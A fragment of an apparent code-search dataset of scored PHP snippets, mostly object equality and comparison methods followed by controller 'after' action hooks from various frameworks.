"4c78e0360b9e11377d1024288f23fe4a", "score": "0.60403764", "text": "public function equalsTo(ValueObjectInterface $object): bool {\n return $this->get() === $object->get();\n }", "title": "" }, { "docid": "2e4b8a8366d1f7c08bcb70e147a61dd2", "score": "0.6025319", "text": "public function equals(ValueObject $valueObject): bool\n {\n throw new \\BadMethodCallException('Equals is not supported.');\n }", "title": "" }, { "docid": "7153ab1d719bc48121f8e0dcfa7050b0", "score": "0.60156506", "text": "function equals($dateObject)\n {\n return $this->timeStamp == $dateObject->getTimeStamp();\n }", "title": "" }, { "docid": "182c5618c1dcb418baea71d21b0e8260", "score": "0.6012935", "text": "private function compare_object(stdClass $current, stdClass $previous): bool {\n return $current == $previous;\n }", "title": "" }, { "docid": "ff4173d12a6fd73769c0daa0df74ee9c", "score": "0.6007257", "text": "public function equals($cmp) {\n return (\n $cmp instanceof self && \n Objects::equal($cmp->value, $this->value) &&\n $this->properties === $cmp->properties\n );\n }", "title": "" }, { "docid": "c79ad4d1aeb842b8adefa779117bb6c9", "score": "0.60003555", "text": "public function validate_same($first, $second, $compareto, $message ){\n\t\t$properties = get_object_vars($this);\n\t\t$value1 = $properties[$first];\n\t\t\n\t\tif (strcmp($value1, $compareto) != 0){\n\t\t\t$this->_validate_errors[$second] = $message;\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "5cdedbcbafd07d1457f6f48ee0c9092e", "score": "0.5958072", "text": "public function valueEquals($a, $b) {\r\n\t\treturn $this->compareValueAWithB($a, $b) == 0;\r\n\t}", "title": "" }, { "docid": "b1c714a994c120e33f0587701f2256aa", "score": "0.59262216", "text": "public function equals(?EquatableInterface $obj): bool\n {\n return parent::equals($obj)\n && ($obj instanceof self)\n && (!$this->hasAnchor() && !$obj->hasAnchor()\n || $this->anchor->equals($obj->anchor()));\n }", "title": "" }, { "docid": "1625e9c5e466238707b482fdf70280da", "score": "0.5925689", "text": "public function equals($other)\n {\n if (!($other instanceof self)) {\n return false;\n }\n if ($this->id != $other->id) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "c65203326b6e3ff71279c2ed71b153e6", "score": "0.59177125", "text": "function jsons_are_equal($json1, $json2) {\n if ( is_null($json1) || is_null($json2) || gettype($json1) != 'object' || gettype($json2) != 'object') {\n\n # handle special case where both json replies are JSON arrays and not JSON objects\n\t\tif (gettype($json1) == 'array' && gettype($json2) == 'array') {\n\t\t if (arrays_are_equal($json1, $json2)) \n\t\t\t return true; # arrays are equal\n\t\t else # arrays are not equal \n\t\t\t return false; \n\t\t} \n\t\telse # one reply is an array the other is not. clear error\n\t\t\treturn false;\n\t\t\n\t\t# main error of check. will return if either argument is null or either is not a JSON object\n\t\treturn false;\n }\n\n foreach ($json1 as $key => $value) {\n $type = gettype($value);\n if ( !isset($json2->{$key}) ) {\n\t\t\treturn false;\n\n } else{\n $value2 = $json2->{$key};\n\n if ( $type === 'object') {\n if ( gettype($value2) !== 'object' || ! jsons_are_equal($value, $value2) ) {\n\t\t\t\t\treturn false;\n }\n\n } elseif ( $type === 'array') {\n if ( gettype($value2) !== 'array' || ! arrays_are_equal($value, $value2) ) {\n\t\t\t\t\treturn false;\n }\n\n } elseif ( $value !== $value2 ) {\n\t\t\t return false;\n\n }\n }\n }\n\n foreach ($json2 as $key => $value) {\n if ( !isset($json1->{$key}) ) {\n\t\t\t\treturn false;\n }\n\t} \n\n return true;\n}", "title": "" }, { "docid": "7cbcb8a44a9222e3b6b617514055b658", "score": "0.589055", "text": "public function is_same($o) {\r\n $val = $this->item->is_same($o->item);\r\n $val = $val && $this->symbol->is_same($o->symbol);\r\n return $val;\r\n }", "title": "" }, { "docid": "8aa25732e6ddbcc21393180fcbf5046b", "score": "0.5873587", "text": "public static function are_equals($str1, $str2)\n {\n return self::to_lower_case($str1) == self::to_lower_case($str2);\n }", "title": "" }, { "docid": "d8f9f1b976ba0e32644bf4b2f35480c9", "score": "0.5855594", "text": "public function equals($other)\n\t{\n\t\treturn $this->label == $other->label;\n\t}", "title": "" }, { "docid": "34e27ea8de9bb74e08dedfa2dc8e44cf", "score": "0.58526325", "text": "public function equals(self $other) : bool\n {\n return $this->compareTo($other) === 0;\n }", "title": "" }, { "docid": "da3b94796b821bbe15d56fc3a87e8827", "score": "0.58422536", "text": "function Equals(TableObject $object = null)\n {\n if (!$object)\n return false;\n\n if (get_class($this) == get_class($object))\n return $this->KeyValue() == $object->KeyValue();\n\n return $this === $object;\n }", "title": "" }, { "docid": "6a55f6bcbcef2d351517a6fa14116ad7", "score": "0.58272475", "text": "public function equals(self $object) : bool\n {\n return\n $object->classname === $this->classname &&\n $object->namespace === $this->namespace;\n }", "title": "" }, { "docid": "17e42dee6bb5ecb59f7fe01b9b5a5f1f", "score": "0.5818447", "text": "public function equals($cmp) {\n return TRUE;\n }", "title": "" }, { "docid": "5a31640bc5f4a0b859106b27e39c6776", "score": "0.58112603", "text": "function infra_isEqual(&$a, &$b){//являются ли две переменные ссылкой друг на друга иначе array()===array() а слои то разные\n\tif(is_object($a)){\n\t\tif(!is_object($b))return false;\n\t\t$a->____test____=true;\n\t\tif($b->____test____){\n\t\t\tunset($a->____test____);\n\t\t\treturn true;\n\t\t}\n\t\tunset($a->____test____);\n\t\treturn false;\n\t}\n $t = $a;//Делаем копию со ссылки\n if($r=($b===($a=1))){ $r=($b===($a=0)); }//Приравниваем а 1 потом 0 и если b изменяется следом значит это одинаковые ссылки.\n $a = $t;//Возвращаем ссылке прежнее значение\n return $r;\n}", "title": "" }, { "docid": "994412de4882dd0d1dfdbcd3be2f0609", "score": "0.58015275", "text": "public function eq(self $other): bool\n {\n return API::ffi()->ts_node_eq($this->data, $other->data);\n }", "title": "" }, { "docid": "38b9e7f71d36a32f1254631ae93b409d", "score": "0.5784672", "text": "protected function matches($other): bool\n {\n return $other == $this->value;\n }", "title": "" }, { "docid": "1be492ec99a51e8221a06a35b1fa9a13", "score": "0.5765716", "text": "public function isSame($other): bool\n {\n if (null === $other || !is_object($other)) {\n return false;\n }\n\n $thisClass = ClassUtils::getRealClass(get_class($this));\n $otherClass = ClassUtils::getRealClass(get_class($other));\n\n if ($thisClass !== $otherClass) {\n return false;\n }\n\n /** @var EntityInterface $otherEntity */\n $otherEntity = $other;\n\n return $this->getId() === $otherEntity->getId();\n }", "title": "" }, { "docid": "eca9c5cae82fd4c3a7a0d3df11e6c6ff", "score": "0.5748746", "text": "public function toEqual($expected):Bool;", "title": "" }, { "docid": "03d22a1b36c10badcce92dd46d698d21", "score": "0.5742011", "text": "function equals($otherUser) {\n return $otherUser->getUsername() === $this->getUsername() &&\n $otherUser->getStudentID() === $this->getStudentID();\n }", "title": "" }, { "docid": "41c885802982497325debe8759660e64", "score": "0.57327515", "text": "public function equals(Report $report)\n {\n \t//First compare basic fields to determine if they are equal.\n \t$equal = $this->getFormat() == $report->getFormat();\n \t$equal = $equal && $this->getPreservationRecommendations() == $report->getPreservationRecommendations();\n \t$equal = $equal && $this->getReportBy() == $report->getReportBy();\n \t$equal = $equal && $this->getReportDate() == $report->getReportDate();\n \t$equal = $equal && $this->getSummary() == $report->getSummary();\n \t$equal = $equal && $this->getTreatment() == $report->getTreatment();\n \t$equal = $equal && $this->getWorkLocation() == $report->getWorkLocation();\n \t\n \t//If these fields are equal, determine whether the report\n \t//lists have changed\n \t//Importances\n \tif ($equal)\n \t{\n \t\t$equal = $equal && $this->arraysDifferent($this->getImportances(), $report->getImportances());\n \t}\n \t//Curators\n \tif ($equal)\n \t{\n \t\t$equal = $equal && $this->arraysDifferent($this->getReportConservators(), $report->getReportConservators());\n \t}\n \t//Counts\n \tif ($equal)\n \t{\n \t\t$counts = $this->getCounts();\n \t\t$equal = $equal && $counts->equals($report->getCounts());\n \t}\n \treturn $equal;\n }", "title": "" }, { "docid": "ac38dcd6a2686ee96184a3bdde05b9c1", "score": "0.5724762", "text": "public function compare($entity1,$entity2);", "title": "" }, { "docid": "56cca72065ef7fd8d2b40685d29b0788", "score": "0.57236177", "text": "public function equals(ValueObject $valueObjectToCompare): bool\n {\n return $this->username() === $valueObjectToCompare->username();\n }", "title": "" }, { "docid": "e16ffaa3a80484a053702da4c8d8752e", "score": "0.5710765", "text": "public function isIdentical(): bool;", "title": "" }, { "docid": "1d3283bf235c99cabfd0df73f9a569b4", "score": "0.5709561", "text": "public function test_equals() {\n $a = 1 + 2;\n $this->assertEquals(3, $a);\n }", "title": "" }, { "docid": "6921f0609d138922260e3def5d3fbb47", "score": "0.5707488", "text": "public static function isMatch($hash1, $hash2)\n {\n return $hash1 === $hash2;\n }", "title": "" }, { "docid": "eeb76063dda8aa5196a29a420aa46a37", "score": "0.57038057", "text": "public function equals(ValueObjectInterface $email)\n {\n if (\\get_class($this) !== \\get_class($email))\n {\n return false;\n }\n \treturn $this->getValue() === $email->getValue();\n }", "title": "" }, { "docid": "ae5790aec5bc56fe6a8c01ed9f6502f2", "score": "0.56951725", "text": "public function equals(\\Yana\\Core\\IsObject $anotherObject)\n {\n return (bool) ($anotherObject instanceof $this) && $this->_getName() == $anotherObject->_getName();\n }", "title": "" }, { "docid": "88e1bd72666329710e2d1091610637d6", "score": "0.5687062", "text": "public static function EQUAL()\r\n {\r\n return new CompareValuesResult(1);\r\n }", "title": "" }, { "docid": "364d6acbae6adf5b0118809de1dc749c", "score": "0.5678136", "text": "private function copyIsSame(self $copy): bool\n {\n return\n $this->save === $copy->save &&\n $this->update === $copy->update &&\n $this->delete === $copy->delete;\n }", "title": "" }, { "docid": "973beaf02cef69cb2ace24d170f281b4", "score": "0.56738114", "text": "public function testEquals()\n {\n $comparable = new Hostingcheck_Value_Comparable('3');\n $this->assertFalse(\n $comparable->equals(new Hostingcheck_Value_Text(4))\n );\n $this->assertTrue(\n $comparable->equals(new Hostingcheck_Value_Text(3))\n );\n }", "title": "" }, { "docid": "6db470aae6933bc516880df530846ce9", "score": "0.5671613", "text": "public function equalsWithoutId($object)\r\n {\r\n\r\n if (!$this->equalsGeneral($object)) {\r\n return false;\r\n }\r\n\r\n if (!$this->equalsAttributes($object, false)) {\r\n return false;\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "7d33a0bcd456d04344c4e8faa47279ef", "score": "0.5657138", "text": "public function equals(ComparableEntity $otherEntity)\n {\n return $this->_toString() == $otherEntity->_toString();;\n }", "title": "" }, { "docid": "23771564f324227ee8c999b69c066f6e", "score": "0.56536657", "text": "public function equals(\\Yana\\Core\\IsObject $anotherObject)\n {\n $isEqual = false;\n if ($anotherObject instanceof \\Yana\\Db\\Doctrine\\Driver) {\n $thisDsn = $this->_getDecoratedObject()->getParams();\n $otherDsn = $anotherObject->_getDecoratedObject()->getParams();\n $isEqual = $thisDsn === $otherDsn;\n }\n return $isEqual;\n }", "title": "" }, { "docid": "779605d629849b688bd5c7a6f6754582", "score": "0.56367755", "text": "public function confirm($value1, $value2) : bool\n {\n return (! is_null($value2) and $value1 == $value2);\n }", "title": "" }, { "docid": "0ef8b88fa51bdee2807357f1832dc22c", "score": "0.5628456", "text": "public function testEquals()\n\t{\n\t // initialize a new String instance\n\t $string = new String('Mustermann');\n\t\t// check that the two Strings are equal\n\t\t$this->assertTrue($string->equals(new String('Mustermann')));\n\t}", "title": "" }, { "docid": "429114c0e1dc6fc05c6043bb9835eea1", "score": "0.562521", "text": "public function equals(self $other)\n {\n return (\n $this->encryptedValue == $other->encryptedValue\n && $this->cryptoService == $other->cryptoService\n );\n }", "title": "" }, { "docid": "36bce9bd96745e8cc831302d0747183b", "score": "0.56177205", "text": "public function equals(Entity $comparator): bool\n {\n if (! ($comparator instanceof self)) {\n return false;\n }\n\n // compare the objects\n $match = true;\n\n // iterate over, and remove uninitialized member vars\n foreach(get_object_vars($this) as $key => $val) {\n // call getter on comparator\n $method = 'get' . ucfirst($key);\n\n if ($val !== call_user_func(array($method))) {\n $match = false;\n }\n }\n\n return $match;\n }", "title": "" }, { "docid": "1373104c5c41716c0430bf129c8a8ed2", "score": "0.5616871", "text": "public function Equals($pAuto1, $pAuto2) {\n $respuesta = FALSE;\n if($pAuto1->_marca == $pAuto2->_marca) {\n $respuesta = TRUE;\n }\n\n return $respuesta;\n }", "title": "" }, { "docid": "1166103054feee4cf22ba09215c0ec63", "score": "0.5605516", "text": "function equalNodes($node1, $node2) {\n $xPath_1 = is_string($node1) ? $node1 : $this->getNodePath($node1);\n $xPath_2 = is_string($node2) ? $node2 : $this->getNodePath($node2);\n return (strncasecmp ($xPath_1, $xPath_2, strLen($xPath_1)) == 0);\n }", "title": "" }, { "docid": "5233cb290f5d910ce7936283b554c034", "score": "0.5597052", "text": "private function fieldsMatch($field1, $field2) {\r\n return $field1 == $field2;\r\n }", "title": "" }, { "docid": "d87da922a6a90618eedeeebf6dd2b282", "score": "0.55946356", "text": "public function equals(ValueObject $valueObjectToCompare): bool\n {\n return ($this->age() === $valueObjectToCompare->age());\n }", "title": "" }, { "docid": "9ec6587054d963fe2ad59dac66eaf1b1", "score": "0.55920875", "text": "public function equals($cmp) {\n return $cmp instanceof self && $this->value === $cmp->value;\n }", "title": "" }, { "docid": "a6a677271cc64d8651c3bbe5ae787ac6", "score": "0.5590538", "text": "public function equals($str) {\n if (is_object($str) && $str instanceof self) {\n if ($this->size() !== $str->size()) {\n return false;\n }\n return $this->to_s() === $str->to_s();\n }\n elseif (is_string($str)) {\n return $this->to_s() === $str;\n }\n return false;\n }", "title": "" } ]
f8b6f430b4b4396016cfd5881ceb30b3
Executes after the controller action
[ { "docid": "cf40fa31ac479895639f3f43e42ddf6f", "score": "0.65378857", "text": "protected function after()\n {\n // blank slate\n }", "title": "" } ]
[ { "docid": "d83ce5d234056daf9e672c9cb9e98e75", "score": "0.83557564", "text": "public function action_after()\n {\n $this->_execute();\n }", "title": "" }, { "docid": "21060ac4c9832232c4a9f2a85026ced4", "score": "0.83110523", "text": "protected function afterAction() {\n\t\t\n\t}", "title": "" }, { "docid": "87c80b28fd3e03fca425139800875d7b", "score": "0.82804674", "text": "public function afterAction() {}", "title": "" }, { "docid": "97d5c7e35ffc101cbc75ddfb127409df", "score": "0.77222526", "text": "protected function after(){}", "title": "" }, { "docid": "97d5c7e35ffc101cbc75ddfb127409df", "score": "0.77222526", "text": "protected function after(){}", "title": "" }, { "docid": "97d5c7e35ffc101cbc75ddfb127409df", "score": "0.77222526", "text": "protected function after(){}", "title": "" }, { "docid": "662c166a885d9beaa5dba328790357fd", "score": "0.7634059", "text": "public function afterAction(): void\n {\n }", "title": "" }, { "docid": "e9719ddf3cbe7a5f4f29948779ae86c5", "score": "0.75812536", "text": "function afterAction()\n {\n }", "title": "" }, { "docid": "6bd5f43ec0e8f22da55f9cb9375e6e1b", "score": "0.7580396", "text": "public function afterController()\n {\n //debug(static::class.'::'.__FUNCTION__.'()');\n }", "title": "" }, { "docid": "595e1e521822c508ab1f75171f2af9f0", "score": "0.748886", "text": "abstract public function afterAction();", "title": "" }, { "docid": "228f5c8b98f105088af57ea3cb38f4bd", "score": "0.7438742", "text": "public function after() {\n\t\n\t\tif ( $this->auto_render ) {\n\t\t\t$this->view->request = $this->request;\n\t\t\t$this->view->ctrl = $this;\n\t\t\t$this->view->set_filename($this->template);\n\t\t\t$this->response->body($this->view->render());\n\t\t}\n\t\tparent::after();\n\t}", "title": "" }, { "docid": "bb2f5faacf1872a5c4b6386afab32215", "score": "0.74295616", "text": "public function afterControllerAction($controller,$action)\n {\n }", "title": "" }, { "docid": "670759bc22473f868239903308b0c111", "score": "0.73648804", "text": "public function afterControllerAction($controller,$action)\n\t{\n\t}", "title": "" }, { "docid": "790e9da595c8da98aaaa5565e71d6daf", "score": "0.7354051", "text": "protected function after() {}", "title": "" }, { "docid": "494fe2f851f6e984f0460787797f3bb2", "score": "0.7346139", "text": "protected function after()\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "02e7062ef7ab7d3167f60c10e55eacc3", "score": "0.7317084", "text": "public function after() {}", "title": "" }, { "docid": "ca6705ae404bfbc810e782e7b6c28f14", "score": "0.73104626", "text": "public function afterControllerAction($controller, $action)\r\n {\r\n\r\n }", "title": "" }, { "docid": "24a62744c1c3fa957047f78226b63627", "score": "0.7300974", "text": "protected function _after()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "c6add24cff19ac1f0fb7d20b6fc2ea72", "score": "0.7226233", "text": "protected function _after() {\n\t}", "title": "" }, { "docid": "c6add24cff19ac1f0fb7d20b6fc2ea72", "score": "0.7226233", "text": "protected function _after() {\n\t}", "title": "" }, { "docid": "c6add24cff19ac1f0fb7d20b6fc2ea72", "score": "0.7226233", "text": "protected function _after() {\n\t}", "title": "" }, { "docid": "65f58ec97aee40a534fb23cc69ad6de3", "score": "0.721353", "text": "public function after()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "b0b8a9cfc2c0b28c2871e0207babc507", "score": "0.7195631", "text": "public function after()\r\n {\r\n \r\n }", "title": "" }, { "docid": "c27b406abbf8eb86c9ccfa113174071f", "score": "0.7169149", "text": "protected function afterAction(){\n $this->_em->flush();\n }", "title": "" }, { "docid": "6b6fe435930dc5833d4ddb9382eb6fc4", "score": "0.7163373", "text": "protected function after()\n\t{\n\t}", "title": "" }, { "docid": "3e86998580c0fa4d36a44d5924ae2c20", "score": "0.7146718", "text": "public function after() {\n\t\t\n\t}", "title": "" }, { "docid": "24b1740dacba98347f80c55ec68641c6", "score": "0.71210647", "text": "protected function afterAction($action)\n\t{\n\t}", "title": "" }, { "docid": "24b1740dacba98347f80c55ec68641c6", "score": "0.71210647", "text": "protected function afterAction($action)\n\t{\n\t}", "title": "" }, { "docid": "26c175b70cbc16345c7373ffe03234f9", "score": "0.71106565", "text": "public function doAfterView() {\n ob_end_flush();\n }", "title": "" }, { "docid": "726bc13402637ffbd9e9373aa3234595", "score": "0.7061426", "text": "public function after()\n\t{\n\t\t// Run anything that needs to run after this.\n\t\tparent::after();\n\t}", "title": "" }, { "docid": "0ba04fc70564756efd51ab900828e9bf", "score": "0.70505166", "text": "public function after(){\n \t$this->mainView = View::factory('main');\n $this->mainView->content = $this->content;\n\n $this->mainView->css = $this->css;\n $this->mainView->js = $this->js;\n \n $this->response->body($this->mainView);\n }", "title": "" }, { "docid": "f15704b77982924e7ce0808da0ac8539", "score": "0.7039", "text": "public function after()\n {\n\n }", "title": "" }, { "docid": "3e6ead22f9f9eac2a933abe704246d50", "score": "0.70158154", "text": "public function actionAfter()\n \t{\n\t\tif ( get_class($this->controller) === 'Swiftlet\\Controllers\\Index' ) {\n\t\t\t$helloWorld = $this->view->get('helloWorld');\n\n\t\t\t$this->view->set('helloWorld', $helloWorld . ' This string was altered by ' . __CLASS__ . '.');\n\t\t}\n\t}", "title": "" }, { "docid": "89c0b6036dc7d3816ff9ec2f2c695b63", "score": "0.69920194", "text": "public function after()\n {\n }", "title": "" }, { "docid": "89c0b6036dc7d3816ff9ec2f2c695b63", "score": "0.69920194", "text": "public function after()\n {\n }", "title": "" }, { "docid": "89c0b6036dc7d3816ff9ec2f2c695b63", "score": "0.69920194", "text": "public function after()\n {\n }", "title": "" }, { "docid": "89c0b6036dc7d3816ff9ec2f2c695b63", "score": "0.69920194", "text": "public function after()\n {\n }", "title": "" }, { "docid": "9aeede78e1ce841490892f06e13c3896", "score": "0.69794667", "text": "protected function after()\n {\n\n }", "title": "" }, { "docid": "650e95589fb9008fb4788e99f1d81eaa", "score": "0.6917884", "text": "protected function after()\n\t{\n\t\techo \" (after)\";\n\t}", "title": "" }, { "docid": "a4a84e0d85cd02dc2d9f2aee23802106", "score": "0.6914153", "text": "public abstract function after();", "title": "" }, { "docid": "8e8f4bbaab262d2f09029de1128c806b", "score": "0.68654954", "text": "private function after() {\n\t\tif ( $this->verbosity > 0 ) {\n\t\t\t$this->trace( \"After: \" . $this->handler->dump() . \"\\n\" );\n\t\t}\n\t}", "title": "" }, { "docid": "0b698cef387fe1d36fba4902588d08e9", "score": "0.6863384", "text": "public function after()\n {\n }", "title": "" }, { "docid": "97d6fb62acb3511e9ccf8f3deaaebd5c", "score": "0.68600345", "text": "public function afterAction()\n {\n if ($this->_program) {\n $this->_store->currentProgramId = $this->_program->getId();\n }\n if ($this->_cycle) {\n $this->_store->currentCycleId = $this->_cycle->getId();\n }\n\n parent::afterAction();\n }", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "a1f32ab5fc96a99e261eab1c2f69a834", "score": "0.6836223", "text": "public function postDispatch() {\n\t\t$this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo ();\n\t}", "title": "" }, { "docid": "bbfed42f9041ff70c9ddda577c32a1f8", "score": "0.682609", "text": "public function postDispatch() {\n $this->view->tempoResposta = $this->_temporizador->MostraMensagemTempo();\n }", "title": "" }, { "docid": "3fe4f04a9b9f9c820acfb3fd883410fe", "score": "0.6817527", "text": "public function submitAfter();", "title": "" }, { "docid": "d5cbd5d93ab14b2bcc22d69e3755e62f", "score": "0.6812683", "text": "protected function after() {\n\n }", "title": "" }, { "docid": "f47fd35bfaaf9385436c443d1a3a390f", "score": "0.6812315", "text": "protected function _execute()\n {\n\n $this->_controller()->set('data', 'execute delete');\n\n }", "title": "" }, { "docid": "4280f2812710963bd49cff7be447131d", "score": "0.6811827", "text": "public function after()\n\t{\n\t\t// Nothing by default\n\t}", "title": "" }, { "docid": "4280f2812710963bd49cff7be447131d", "score": "0.6811827", "text": "public function after()\n\t{\n\t\t// Nothing by default\n\t}", "title": "" }, { "docid": "e643e27e06c1f1de456604093be2bd4c", "score": "0.68060076", "text": "private function _After()\n {\n // Empty for now\n }", "title": "" }, { "docid": "a7f97d15e0a8a176fcaa6e9f20de920e", "score": "0.6805286", "text": "public function after(Request $request, &$result) {\n\t}", "title": "" }, { "docid": "db4a2a2e77bfc138b479297122e67420", "score": "0.6793977", "text": "public function after()\n {\n parent::after();\n }", "title": "" }, { "docid": "1db9a0288dfdf6e7714187ad0b23e443", "score": "0.6789327", "text": "public function after()\n {\n // Output the template automatically (if applicable)\n\t if((bool)$this->_template_path)\n\t {\n if((bool)$this->_auto_render)\n {\n $this->response->body( Twig::factory($this->_template_path, $this->__context, $this->_environment)->render() );\n }\n\t }\n\t \n\t}", "title": "" }, { "docid": "9ade0e5aa5bc43cf4ec78723480014c7", "score": "0.6773098", "text": "public function afterHandle(Action &$action) { }", "title": "" }, { "docid": "9d001b9ff2975a35d5951d9ac3c77cd1", "score": "0.67699397", "text": "public function afterRoute() {\n if($this->autoRender){\n //pr($this);\n $action = $this->fw->get('PARAMS.action') ? : \"index\"; \n $title = $this->fw->get('title') ? $this->fw->get('title') : $this->site_settings['site_name'] . \" : \" . get_class($this);\n\n $this->fw->mset([\n 'title' => $title,\n 'content' => $this->fw->get('content') ? : get_class($this) . \"/{$action}.ctp\"\n ]);\n echo $this->view->render($this->layout); \n }\n $this->fw->set('SESSION.flash', []); //clear session flash messages\n }", "title": "" }, { "docid": "a39e75cabfd379a72371446cff40710d", "score": "0.67626363", "text": "protected function _afterRun() {\n \n }", "title": "" }, { "docid": "a47f92e6fa1d2bd9f864f3839625c20c", "score": "0.67444694", "text": "protected function after(): void {\n \n }", "title": "" }, { "docid": "46e6e4980e0f487130c0539fb680f313", "score": "0.67345256", "text": "function onAfterRoute()\n {\n if (JRequest::getCmd('jatabaction')) {\n $action = JRequest::getCmd('jatabaction');\n require_once dirname(__FILE__) . '/jatabs/ajaxloader.php';\n $obj = new JATAB_Ajax();\n\n if ($action && method_exists($obj, $action)) {\n $buffer = $obj->$action();\n JResponse::setBody($buffer);\n\n $dispatcher = JDispatcher::getInstance();\n $plugin = JPluginHelper::getPlugin('system', 'sef');\n\n $plugin = new plgSystemSef($dispatcher, (array) ($plugin));\n $plugin->onAfterRender();\n\n $result['text'] = JResponse::getBody();\n echo json_encode($result);\n exit();\n }\n }\n }", "title": "" }, { "docid": "ebc71902f248b9479d4d3b300672fc92", "score": "0.6733981", "text": "public function after()\n\t{\n\t\tif ( ! $this->request->is_initial() OR $this->request->is_ajax())\n\t\t{\n\t\t\t$this->view->render_layout = FALSE;\n\t\t\t$this->response->body($this->view);\n\t\t}\n\t\t// Fall back to standard page view\n\t\t$this->response->body($this->view->render());\n\n\t\treturn parent::after();\n\t}", "title": "" }, { "docid": "a2343dc16d93d349b24151a672136e49", "score": "0.67071605", "text": "public function onAfter();", "title": "" }, { "docid": "4ef918b88b51f27d5f08b3448e6d902c", "score": "0.6692923", "text": "public static function afterAction(Request $request,Response $response): void\n {\n }", "title": "" }, { "docid": "4ef918b88b51f27d5f08b3448e6d902c", "score": "0.6692923", "text": "public static function afterAction(Request $request,Response $response): void\n {\n }", "title": "" }, { "docid": "4ef918b88b51f27d5f08b3448e6d902c", "score": "0.6692923", "text": "public static function afterAction(Request $request,Response $response): void\n {\n }", "title": "" }, { "docid": "4ef918b88b51f27d5f08b3448e6d902c", "score": "0.6692923", "text": "public static function afterAction(Request $request,Response $response): void\n {\n }", "title": "" }, { "docid": "4ef918b88b51f27d5f08b3448e6d902c", "score": "0.6692923", "text": "public static function afterAction(Request $request,Response $response): void\n {\n }", "title": "" }, { "docid": "1284545cf1e2193f3e844057d9a4938b", "score": "0.66883534", "text": "public function after() {\n\n $user = ORM::factory('scb_qrcode')->where('bid', '=', $this->bid)->where('openid', '=', $this->openid)->find()->as_array();\n\n View::bind_global('openid', $this->openid);\n View::bind_global('bid', $this->bid);\n View::bind_global('config', $this->config);\n View::bind_global('user2', $user);\n\n $this->template->user = $user;\n parent::after();\n }", "title": "" }, { "docid": "f829a7bed958a392a7b87805b8de7fd7", "score": "0.66758084", "text": "public function after() {\n\t\t$content = $this->template->content;\n\n\t\t// If external request, insert into layout template\n\t\tif ( ! $this->_internal)\n\t\t{\n\t\t\t$view = isset($this->_view_map[$this->request->action])\n\t\t\t\t? $this->_view_map[$this->request->action]\n\t\t\t\t: $this->_view_map['default'];\n\t\t\t$this->template->content = View::factory($view)\n\t\t\t\t->set('menu', $this->_menu())\n\t\t\t\t->set('content', $content);\n\t\t}\n\t\t// Else append current info/error messages to internal response\n\t\t// and replace template with content\n\t\telse\n\t\t{\n\t\t\t$messages = Message::instance()->get();\n\t\t\t$this->template = $messages.$content;\n\t\t}\n\n\t\tparent::after();\n\t}", "title": "" }, { "docid": "f3b07a6a135546ae1c316a2de6eefbb0", "score": "0.6650391", "text": "public function postDispatch() {\n\t}", "title": "" }, { "docid": "beedc4ce6159e8a4d084711727604c40", "score": "0.66478175", "text": "protected function afterRun()\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "e6263a33b7a652159b9825235cb8f8fd", "score": "0.66328365", "text": "public function afterExecuteRoute() {\n if ($this->dispatcher->isFinished() && $this->dispatcher->wasForwarded())\n return;\n\n parent::afterExecuteRoute();\n }", "title": "" }, { "docid": "5e1afb860e7ff8189718aeb5b3d227b4", "score": "0.66267896", "text": "public function after()\n\t{\n\t\t/**\n\t\t * Decision if show to all container site or just a content\n\t\t */\n\t\tif ($this->auto_render === FALSE)\n\t\t{\n\t\t\t//Prepare JSON pack for ajax or result for HMVC request\n\t\t\t$json_array = array(\n\t\t\t\t\t'View' \t\t=> $this->view_content,\n\t\t\t\t\t'status' \t=> Message::instance()->get()\n\t\t\t);\n\t\t\t\t\n\t\t\t//return suitable format for request\n\t\t\tif ($this->request->is_ajax())\n\t\t\t{\n\t\t\t\t/**\n\t\t\t\t * Multiple views allowed\n\t\t\t\t */\n\t\t\t\tif (is_array($json_array['View']))\n\t\t\t\t{\n\t\t\t\t\t$container = array();\n\t\t\t\t\tforeach ($json_array['View'] as $key => $view)\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($container, array(\n\t\t\t\t\t\t\t'view' \t=> $view->render(),\n\t\t\t\t\t\t\t'key' \t=> $key\n\t\t\t\t\t\t));\n\t\t\t\t\t}\n\t\t\t\t\t$json_array['View'] = $container;\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$json_array['View'] = $json_array['View']->render();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\techo json_encode($json_array);\n\t\t\t}\n\t\t\telseif ($this->request->is_initial() === FALSE)\n\t\t\t{\n\t\t\t\t$json_array['View'] = 